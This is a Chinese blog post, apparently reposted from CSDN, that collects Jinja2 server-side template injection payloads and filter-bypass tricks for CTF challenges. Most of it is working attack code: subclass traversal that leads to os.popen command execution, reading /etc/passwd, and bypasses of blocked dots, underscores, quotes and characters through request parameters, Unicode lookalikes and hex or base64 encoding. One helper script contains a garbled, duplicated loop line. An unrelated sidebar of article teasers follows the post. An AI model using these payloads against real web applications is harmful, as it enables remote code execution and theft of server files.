SSTI-payload和各种绕过方法

总结SSTI题目的流程(以python3为例)

类的下标会因为python版本的不同(python2,python3)而不同

1.找到object类,通过__mro__或__bases__来找

 //针对不同的网站需要对索引进行修改,直到返回的类为object
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[11]

如下:

SSTI-payload和各种绕过方法

2.查看object类的子类,通过.subclasses()

在不同题目中的子类不同,有一些会被禁掉,通过下面这些payload查看哪些可以用的

''.__class__.__mro__[1].__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()

3.通过子类找能利用的函数

1. 文件读取第91个

''.__class__.__mro__[1].__subclasses__()[91].get_data(0,'文件路径')

2.文件读写第40个

#读
''.__class__.__mro__[1].__subclasses__()[40]('文件路径').read()
#写
''.__class__.__mro__[1].__subclasses__()[40]('文件路径','写的方式').write()

3.命令执行

直接利用os.popen

object下的第71个类

{{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}

如果没有上面这个类就得麻烦一点,需要通过__import__ 或者 __builtins__来实现命令执行

做法: 找到能够能够实现 .init.globals__的类,并且进一步找模块: __import 或者 builtins

python代码如下:

num = 0
str1=''
select=input("请选择查找的方法:1.__builtins__;2.__import__;")

if select=='1' :
    str1="__builtins__"
if select=='2' :
    str1="__import__"

for item in ''.__class__.__mro__[1].__subclasses__():
    try:
        if str1 in item.__init__.__globals__:
            print(num,item)
            num+=1
    except:
        num+=1

或者用这个,一步到位找eval

count = -1
for i in ''.class.mro[-1].subclasses():
for i in ''.__class__.__mro__[-1].__subclasses__():
    count += 1
    if "warpper" in repr(i.__init__):
        pass
    else:
        try:
            if "eval" in repr(i.__init__.__globals__['__builtins__']):
                print(count, i)
        except:
            pass

举个例子具有__builtins__的类

SSTI-payload和各种绕过方法

具有builtins的话:利用eval

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

利用command(有些题目可能会提示没有command包,那就用不了)

{{{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
{{{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')}}
{{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}

具有 import方法

SSTI-payload和各种绕过方法

payload如下:

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

其他

Jinja2创建的url_for()方法

{{url_for.__globals__.os.popen("whoami").read()}}

通过config,调用os

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

下面的这几个不一定行

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("whoami").read()}}

// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

对命令执行进行总结:

1.找到object类

2.调用相关函数:

命令执行:os.system() , os.popen().read(),eval()

怎么找? 1.通过python脚本去找

2.如果某个类没有os,却有import,可以通过import导入os的包后通过os进行命令执行

3.类的位置会因为python的版本不同而不同,只需要去官网查一下,或者自己一步一步找即可

至于怎么看服务器python的版本?->bp抓包,直接看返回包即可

各种绕过方式(欢迎补充)

方法1关键词被禁

通过拼接字符串

.__class__ -> ["__c""lass__"]

点被禁了

1.通过 [] 来替代点

.__class__ -> [__class__]

2.通过|attr()替换

.__class__ -> |attr("__class__")
如
request.__class__ -> request|attr("__class__")

方法2过滤了_

通过传递参数绕过

Get方式传参的

{{''.__class__}} => {{''[request.args.t1]}}?t1=__class__

Post方式传参(分两步)

{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

利用hackbar在这个页面传一个Post数据包

class=__class__&mro=__mro__&subclasses=__subclasses__

方法3过滤引号

也是通过传参实现绕过

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

方法4特殊字符绕过

符号大全-特殊符号-特殊符号大全 (fhdq.net)

直接在这上面ctrl+f搜等价替换的符号,然后利用python脚本进行替换

"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
str='{{\'\'.__class__}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
str=str.replace('\"','"')

print(str)

方法5编码绕过

[].__class__->[].__getattribute__('X19jbGFzc19f'.decode('base64'))

十六进制编码绕过:

用的时候注意自己改一改,不要用 . 来访问类,要用[ ]

import re

def hex16(str):
    result=''
    for i in str:
        if i in '()[]0123456789\'':
            result = result+i
            continue
        i = bytes(i,'UTF-8')
        i = i.hex()
        result = result + '\'\\x'+i+'\''
    return result
str = "''[__class__][__mro__][1][__subclasses__]()[64][__init__][__globals__][__import__](os)[popen](whoami)[read]()"
str2 = hex16(str)
print(str2)

Original: https://blog.csdn.net/qq_44418229/article/details/125974915
Author: jjj34
Title: SSTI-payload和各种绕过方法

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/744425/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 列数据种类数量统计

    列数据种类数量统计 主要基于pandas的unique函数这个函数是为了方便分析数据的时候写出来的一个想法(大佬轻喷) 数量统计函数的代码 def Catg_stati(array…

    Python 2023年8月8日
    048
  • 上周热点回顾(11.7-11.13)

    热点随笔: · 数据可视化分析之新技能——魔数图 (葡萄城技术团队)· 工作十年,入职新公司不到四个月就遇到裁员 (Angelasp)· 写点程序员离职的心得 (张飞洪[厦门])·…

    Python 2023年10月15日
    043
  • 时间序列分析模型详细讲解

    时间序列分析 * 季节分解 – 时间序列的数值变化规律 SPSS对数据预处理 SPSS季节性分解 时间序列分析的具体步骤 – 建立时间序列分析模型 + 指数…

    Python 2023年9月30日
    035
  • pytest.main

    抵扣说明: 1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。 Original: https://blo…

    Python 2023年9月14日
    036
  • ubuntu:自动加载第三方设备驱动

    有时,我们需要让Ubuntu系统加载第三方的内核模块,但是重新编译内核显然太繁琐,因此可以使用某些手段来手动加载或者自动加载这些模块。 本文介绍几种方法,用来设置开机加载这些模块。…

    Python 2023年10月24日
    045
  • Flask–(二)

    一个经典的HelloWorld 的例子 一.创建 Python 项目 1.打开 Pycharm,选择 Pure Python 类型的项目,创建项目完成之后选择之前创建的 py3_f…

    Python 2023年8月12日
    051
  • 【python数据分析】数据的分组,遍历,统计

    数据的分组,遍历,统计 俗话说:”人与类聚,物以群分”,到这里我们将学习数据的分组以及分组后统计。Pandas的分组相对于Excel会更加简单和灵活。 1️…

    Python 2023年8月17日
    057
  • YOLO算法创新改进系列项目汇总(入门级教程指南)

    抵扣说明: 1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。 Original: https://blo…

    Python 2023年10月8日
    032
  • Python 数据处理:NumPy库

    ✅作者简介:人工智能专业本科在读,喜欢计算机与编程,写博客记录自己的学习历程。🍎个人主页:小嗷犬的博客🍊个人信条:为天地立心,为生民立命,为往圣继绝学,为万世开太平。🥭本文内容:P…

    Python 2023年8月27日
    055
  • Python 3.12 目标:还可以更快!

    按照发布计划,Python 3.11.0 将于 2022 年 10 月 24 日发布。 据测试,3.11 相比于 3.10,将会有 10-60% 的性能提升,这个成果主要归功于&#…

    Python 2023年10月31日
    034
  • python位置参数错误_类型错误:缺少一个必需的位置参数

    我正在做一个游戏作为一个有趣的副项目,我遇到了这个错误,我真的不知道为什么会发生。。。 代码如下:class players: def init(self, location, i…

    Python 2023年9月22日
    036
  • 【何理学Python】002.利用NumPy库创建特殊数组

    1.zeros()函数与ones()函数 2.eye()函数与diag()函数 3.arange()函数 zeros()函数用于创建一个全部元素均为0的数组 import nump…

    Python 2023年8月26日
    038
  • 超强AI对话系统ChatGPT不完全案例指南

    12月1日OpenAI官宣了其目前最强的AI对话系统之后,大家发现这个强大的系统能做的事情远超过大家的想象。我们也在第一时间发布了相关的博客:https://datalearner…

    Python 2023年11月4日
    052
  • MySQL空间暴涨150G导致锁定,发生了什么

    背景 12月1号中午突然收到大量报警,某客户环境操作数据库大量失败,报错信息如下图所示: 这个报错我是第一次见,一时间有点无所适从,但是从字面意思来看是MySQL目前处于LOCK_…

    Python 2023年10月13日
    043
  • 使用QuerySet新增和更新数据

    (一)Shell模式新增数据Django提供了多种数据新增方法,开发者可以根据实际情况以及个人使用习惯选择某一种新增方式。为了更好地演示数据库的增、删、改操作,在项目babies使…

    Python 2023年8月5日
    081
  • 基于Pygame框架的交通导流可视化模拟

    目录标题 项目介绍 项目要求 关键技术 项目核心功能 代码 参考资料 源码下载地址 https://download.csdn.net/download/david2000999/…

    Python 2023年9月18日
    045
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球